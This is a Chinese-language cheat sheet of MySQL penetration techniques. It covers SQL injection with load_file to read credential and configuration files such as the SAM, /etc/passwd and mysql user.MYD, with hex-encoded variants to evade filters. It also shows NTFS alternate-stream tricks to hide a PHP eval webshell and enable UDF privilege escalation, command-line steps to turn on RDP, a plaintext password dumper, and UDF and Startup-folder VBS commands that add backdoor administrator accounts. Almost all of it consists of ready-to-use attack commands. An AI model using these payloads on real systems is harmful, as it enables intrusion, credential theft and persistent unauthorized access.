Mysql渗透技巧总结
1.常见的有助于渗透到mysql函数
在对MySQL数据库架构的渗透中，MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息，而load_file()作用是读入文件，并将文件内容作为一个字符串返回，这在渗透中尤其有用，例如发现一个php的SQL注入点，则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。
(1)一些常见的系统配置文件
c:/boot.ini //查看系统版本c:/windows/php.ini //php配置信息c:/windows/my.ini //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码c:/winnt/php.inic:/winnt/my.inic:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码c:\Program Files\Serv-U\ServUDaemon.inic:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此c:\Program Files\RhinoSoft.com\ServUDaemon.exeC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件//存储了pcAnywhere的登陆密码c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机d:\APACHE\Apache2\conf\httpd.confC:\Program Files\mysql\my.iniC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件/usr/local/apache2/conf/httpd.conf/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/usr/local/app/php5/lib/php.ini //PHP相关设置/etc/sysconfig/iptables //从中得到防火墙规则策略/etc/httpd/conf/httpd.conf // apache配置文件/etc/rsyncd.conf //同步程序配置文件/etc/my.cnf //mysql的配置文件/etc/redhat-release //系统版本/etc/issue/etc/issue.net/usr/local/app/php5/lib/php.ini //PHP相关设置/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看/usr/local/resin-pro-3.0.22/conf/resin.conf 同上/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看/usr/local/resin-pro-3.0.22/conf/resin.conf 同上/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看/etc/sysconfig/iptables 查看防火墙策略load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录replace(load_file(0×2F6574632F706173737764),0×3c,0×20)replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
(2)直接读取配置文件
SELECT LOAD_FILE('/etc/passwd' )SELECT LOAD_FILE('/etc/issues' )SELECT LOAD_FILE('/etc/etc/rc.local' )SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
(3)Linux下通过load_file函数读出来的数据库有可能是hex编码，要正常查看需要使用NotePad将将以上代码全部选中，然后选择插件“Converter”-“HEX-ASCII”进行转换。
2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell
NTFS中的ADS(交换数据流)可以建立目录，隐藏webshell等等。
(1) Mysql创建目录
当MySQL版本较高时，自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破：
select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';会在mysql目录下生成一个lib目录，这样你就可以将你的udf放在这个插件目录下了。
(2)隐藏webshell
在服务器上echo一个数据流文件进去，比如index.php是网页正常文件，我们可以这样子搞：
echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg这样子就生成了一个不可见的shell a.jpg，常规的文件管理器、type命令，dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去，这样子就可以正常解析我们的一句话了。
3.有用的一些技巧
(1)3389端口命令行下获取总结
netstat -an |find "3389" 查看3389端口是否开放tasklist /svc | find "TermService" 获取对应TermService的PID号netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号
(2)Windows 2008Server命令行开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
(3)wce64 -w 命令直接获取系统明文登录密码
(4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径
(5)Linux终端提示符下查看mysql有关信息，ps -ef|grep mysql
(6)Linux下启动mysql服务: service mysqld start
(7)Linux下查看mysqld是否启动：ps -el | grep mysqld
(8)查看mysql在哪里：whereis mysql
(9)查询运行文件所在路径 which mysql
(10)udf.dll提权常见函数
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
具体用户示例：
select cmdshell('net user iis_user 123!@#abcABC /add');select cmdshell('net localgroup administrators iis_user /add');select cmdshell('regedit /s d:web3389.reg');select cmdshell('netstat -an');
4.一些常见的Mysql命令
(1)连接到mysql 服务器
mysql -h 192.168.0.1 -u root -pantian365.com antian365 (2)查看所有数据库
show databases;(3)使用某个数据库
use testdatabase;(4)查看数据库中的所有表
show tables;(5)在test数据库下创建一个新的表
create table a (cmd text);(6)在表中插入内容添加用户命令
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );
(7)查询a表中所有的数据
select * from a(8)导出数据到系统某个目录下
select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";(9)查询数据库数据路径
select @@datadir;(10)查看所有dir路径
SHOW VARIABLES WHERE Variable_Name LIKE "%dir" (11)查看插件路径
show variables like '%plugins%' ;(12)查询MYSQL安装路径
select @@basedir (13)常用内置函数
select system_user() 查看系统用户select current_user() 查询当前用户select user(); 查询用户SELECT version() 查询数据库版本SELECT database() 查询当前连接的数据库select @@version_compile_os 查询当前操作系统select now(); 显示当前时间
(14)获取表结构
desc 表名 或者show columns from 表名(15)删除表
drop table <表名>